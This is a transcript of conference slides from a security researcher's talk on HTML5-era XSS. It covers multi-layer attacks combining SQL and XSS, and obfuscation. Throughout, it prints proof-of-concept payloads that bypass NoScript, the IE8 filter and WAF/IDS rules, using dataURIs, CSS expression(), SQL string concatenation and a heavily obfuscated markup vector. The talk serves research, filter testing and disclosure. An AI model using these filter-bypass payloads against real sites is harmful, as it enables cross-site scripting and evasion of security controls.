  • 2. WARNING This talk will be technical, chaotic and|or hurt
  • 3. Intro Mario Heiderich @0x6D6172696F  Based in Cologne  CTO for Business IN Inc - working on workube.com  Independent Security Researcher  PHPIDS and something we will see later on
  • 4. Why this talk?  What happened to web application security?  Always the same... so 2002 right?  XSS, SQL Injections, Auth and path traversal  We have amazing things now!  NoScript, the IE8 and Chromium XSS filter and CSP  Users must be safer than ever!  But didn't the web change?  Wasn't there HTML5 and next generation browsers?
  • 5. Oh wait - developers!  Web app development frameworks help  Building applications faster  Pre-implemented SQLI and XSS protection  Secure forms with complex CSRF tokens  Webroot contains webroot only files  Weaknesses regarding JavaScript generation  Client side logic mostly built manually  Different templates for browsers, mobile devices, feeds  Offline mode, client side validation, DOM access
  • 6. User Agents on steroids  Chrome 5 and Opera 10.5 ship client side databases  IE9 is coming soon with more standards conformity  Integrated security mechanisms  The death of eval()  A fat client dynasty is coming up  Who needs a server anyway if clients do all the work  And store their data in „the cloud“   Bye bye SQL - say hello to NoSQL?
  • 7. Web applications are changing  And so are the attacks against them  If the attack happens on and against the client  Of what use will a server side IDS / WAF solution be?  Today we can have a little preview for that scenario  One question might be...  How will protective mechanisms react on multi-layer attacks?
  • 8. Multi-layer what?  What about utilizing the DBMS to generate an XSS attack  NoScript detects most XSS attacks without problems  Circumvention has become very difficult  Thanks to Giorgio Maone and the NoScript user base. And me :P  Let's have a look at my last one (disclosed via SSD - fixed in 1.9.9.48)  Aren't dataURIs the sweetest thing?  <a href="d&#097t&#x0061: . &#x2c &#x25;  3  c s cri &#x00D; pt % 3 e alu0065rt(1)%3c  /s &#x43 RI &#x009 P t>"
  • 9. Difficult!  We can probably agree that it's not as easy anymore  Same thing for the IE8 XSS filter  Or implementations of toStaticHTML()  Most quirky JavaScript encoding techniques are documented  Not too many user agent specific surprises anymore    Help from another layer would be appreciated  Let's have a look at a "classic webapp" example
  • 10. Imagine the DBMS helps  Hypothesis  A verbose SQL Injection vulnerability is always at least an "unfilterable" XSS  Verification  Just make use of the obfuscation possibilities the DBMS provides  SELECT 0x3C7363726970743E616C6572742831293C2F7363726970743E  SELECT UpdateXML(concat( 0x3c,'script',0x3e,'alert(1)',0x3c,'/ script',0x3e), '/x', 0);  SELECT/**/'<sc'"rip"'t>al'"er"'t(1)'"</sc"'ript>'
  • 11. MySQL and PostgreSQL  MySQL only ships two basic XML functions  UpdateXML() and ExtractValue()  PostgreSQL has far more advanced XML support  SELECT xmlelement(name img,xmlattributes(1 as src,'alert(1)'as onerror))  SELECT xmlforest(loWER('x41'||'lert(1)') AS script);  And my favorite  SELECT xpath('//text()', '<x:x>&#x3c;imgx20src=x onerror=alert(1);&#x2f;&#x2f;</x:x>', ARRAY[ARRAY['x', '']]);
  • 12. SQL Injection and XSS  There are more intersections for XSS and SQLI  „Remember“ the client side databases?  And the short lived Google Gears?  HTML5 and W3C Offline Web Applications 1.0 give us window.openDatabase()  SQL execution on the user agent  Currently supported by Chrome and Opera  Usually implemented using SQLite
  • 13. Code please <script type="text/javascript"> openDatabase('',1,1,0).transaction(function($){ $.executeSql( 'SELECT "x61lert(1u0029"', [], function($,results){ for(i in results.rows.item(0)) eval(results.rows.item(0)[i]) }) }) </script>  Selects the string "alert(1)"  And evaluates the result
  • 14. Short Roundup  The browsers speak SQL now  The server side DBMS can generate HTML and JavaScript  We already outsmarted NoScript and IE8 XSS filter  Not really a fair game though  Multi-layer attacks mean multi-layer obfuscation  In future webapps the client side DBMS will generate our XSS payload     But today we still have to trick the server side protection  Bypass IDS and WAF with a trigger
  • 15. Attackers like obfuscation  And why wouldn't they - right?  Obfuscation usually means concatenation  And a bit of encoding spice  But how to concatenate in SQL so no one will notice the attack?  Which operator to choose?  Everybody knows chr(), char() and double-pipe...
  • 16. In MySQL - none at all  MySQL doesn't need parenthesis to concatenate  And doesn't know the double-pipe operator  Sorry mod_security...  But luckily MySQL accepts concatenation via whitespace  SELECT "a" "d" "m" "i" "n"  SELECT'a'"d"'m'"i"'n'  Or why not use an integer overflow in char()  SELECT concat( char( x'70617373', b'1110111011011110111001001100100'))
  • 17. So again...  We can bypass the server side protection mechanisms  As well as client side tools  No parenthesis or special operators needed on MySQL  We can also trick MySQL and the IDS with MySQL specific code  SELECT--/*!500005,*//*!400004,*//*!300003,*/
  • 18. Back to the user agent  But what if no server side DBMS is involved in the attack  What if the client side database is being targeted  We still need to execute some JavaScript bypassing either server side IDS and the client side security mechanisms  Let's have a look at some freaky examples
  • 19. Remember dataURIs?  The whole requested resource embedded in the URI  DataURIs work smoothly on Firefox, Opera and Chrome  But IE8 and 9 have problems  Some say the minimal dataURI support was just for ACID 2
  • 20. People say...  ...it's not possible to execute JavaScript via dataURI on IE  Do we agree on that?  No we don't!  <style> @import "data:,*%7bx:expression(write(2))%7D"; </style>  <link rel="Stylesheet" href="data:,* %7bx:expression(write(4))%7d">
  • 21. And there's more  CSS expression() is believed to be dead on IE8  But it isn't  It's only disabled in standard mode  In case a recognized DOCTYPE is present  The new HTML5 doctype isn't  So this works: <!docytpe html> <div style="background:url('abc', x!=x=expression(write(2));)">
  • 22. And even worse...  HTML5 forces user agents to be more tolerant again  New tags, new attributes, new parsing rules  And tons of new features like the mentioned openDatabase()  Some nifty examples from the future  <video/poster=javascript:alert(1)// Opera 10.5+  <style>@import javascript:alert(1); // IE9 (!)
  • 23. Closing tags + free 0day  Another weird artifact has been reported for IE6 some years ago  It's attributes in closing HTML tags  Believed to be dead... but  This still works on all IEs  <td>phoobar</td style=expression(write(1))>  And what about this?  <style>*{background:url(foo!!- =expression(write(1));</style>
  • 24. Opera CSS XSS  Since Mozilla fixed the dataURI and cross domain problems with -moz-binding IE was believed to be unique  Unique regarding JavaScript execution via CSS  But Opera ships an artifact too  <style>*{-o-link:'javascript:alert(1)';-o-link- source:current}</style>
  • 25. Now we have...  Server side SQL helping to circumvent client side XSS filters  Effective SQL obfuscation circumventing WAF and IDS  "Obfuscation-mash ups" using several layers  Quirky HTML triggers to execute the JS  Sounds like only one player is missing  Even more freaky markup obfuscation! Awesome! Now breathe..
  • 26. Meet Harold the markup ghoul This is Harold: 1;--<?f><l ₩ :!!:x /style=`b&#x5c;65h0061vIor/ĸ :url(#def&#x61ult#time2)ö/';'` ₩ /onb egin= &#x5bµ=u00&#054;1le&#114t&#40&#x31)&# x5d&#x2f/&#xyŧ>  It's completely legitimate to call me a mad man now and say this is never gonna work  So - demo time: http://heideri.ch/jso/what???
  • 27. What... what is this?  It's a piece of markup – obfuscated to the max  Working on IE only – but all versions from 5 to 9  Based on the HTML+TIME API (What? Stuff like that still exists?)  Does your WAF know what to do with it?  Overall about 12-13 obfuscation steps  Buy me a beer later on and I will give you a full explanation :D
  • 28. Round Up  We are not living in web app = CRUD application times anymore  Modern webapps accept input from many channels  User input via HTTP is just one of them  API calls, RPC, DOM, Drag&Drop, file meta data & EXIF...  WAF/IDS as well as pentesters need to look into HTML5  New application structures and design pattern must be understood  Client and server versus rich-client and cloud  SQLite and NVP versus RDBMS  Massive client diversity via mobile devices
  • 29. Expectations and tasks  Fewer basic and reflective XSS  More out-of-band attacks and heavy obfuscation  We didn't even cover Flash and PDF  More JSON and E4X hijacking  SVG based attacks and rogue multimedia objects  Don't ignore the user agent  Understand client side obfuscation and multi-layer obfuscation  Don't trust filters. Ever.  We broke HTMLPurifier and most other markup filters some days ago with one single vector  And don't trust the cloud – it's a business model and not your buddy :D
  • 30. So what can I do?  Help with research and participation!  Communication and disclosure  For good!  But how?
  • 31. The Ultimate Cheatsheet  http://heideri.ch/jso
  • 32. Ping us!  Add new vectors  Get a channel to speak to vendors  Most are more responsive than one might think  Use it for..  Your own scanner software  Your own local version  Whatever you want!  Open API in JSON  Multiple languages  Flexible payload  You need more? Tell us!
  • 33. Do what now?  Go here!  http://code.google.com/p/html5security/
  • 34. Questions & Comments  Thanks very much for listening!  Wait - no goodies this time? Meh!!1
  • 35. Yaaaaaaay! Goodies!  Did you know Firefox has a DOM object called crypto?  PKI meets JavaScript  And another eval() for free!  crypto.generateCRMFRequest( 'CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use' );